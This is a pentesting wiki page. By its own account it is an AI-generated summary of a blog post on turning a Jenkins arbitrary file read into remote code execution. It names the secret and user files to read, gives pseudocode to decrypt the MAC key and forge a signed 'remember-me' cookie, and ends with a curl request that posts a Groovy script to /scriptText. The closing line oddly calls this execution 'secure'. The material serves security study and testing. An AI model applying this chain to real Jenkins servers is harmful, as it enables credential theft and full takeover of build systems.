# Jenkins Arbitrary File Read to RCE via "Remember Me"

{{#include ../../banners/hacktricks-training.md}}

In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)

This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:

### Attack Prerequisites

- **Feature Requirement:** "Remember me" must be enabled (default setting).
- **Access Levels:** Attacker needs Overall/Read permissions.
- **Secret Access:** Ability to read both binary and textual content from key files.

### Detailed Exploitation Process

#### Step 1: Data Collection

**User Information Retrieval**

- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
  - **Username**
  - **User seed**
  - **Timestamp**
  - **Password hash**

**Secret Key Extraction**

- Extract cryptographic keys used for signing the cookie:
  - **Secret Key:** `$JENKINS_HOME/secret.key`
  - **Master Key:** `$JENKINS_HOME/secrets/master.key`
  - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`

#### Step 2: Cookie Forging

**Token Preparation**

- **Calculate Token Expiry Time:**

  ```javascript
  tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
  ```

- **Concatenate Data for Token:**

  ```javascript
  token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
  ```

**MAC Key Decryption**

- **Decrypt MAC Key File:**

  ```javascript
  key = toAes128Key(masterKey)  // Convert master key to AES128 key format
  decrypted = AES.decrypt(macFile, key)  // Decrypt the .mac file
  if not decrypted.hasSuffix("::::MAGIC::::")
      return ERROR;
  macKey = decrypted.withoutSuffix("::::MAGIC::::")
  ```

**Signature Computation**

- **Compute HMAC SHA256:**

  ```javascript
  mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
  tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
  ```

**Cookie Encoding**

- **Generate Final Cookie:**

  ```javascript
  cookie = base64.encode(
    username + ":" + tokenExpiryTime + ":" + tokenSignature
  ) // Base64 encode the cookie data
  ```

#### Step 3: Code Execution

**Session Authentication**

- **Fetch CSRF and Session Tokens:**
  - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
  - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.

**Command Execution Request**

- **Send a POST Request with Groovy Script:**

  ```bash
  curl -X POST "$JENKINS_URL/scriptText" \
  --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
  --header "Jenkins-Crumb: $CRUMB" \
  --header "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "script=$SCRIPT"
  ```

  - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.

The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.

{{#include ../../banners/hacktricks-training.md}}



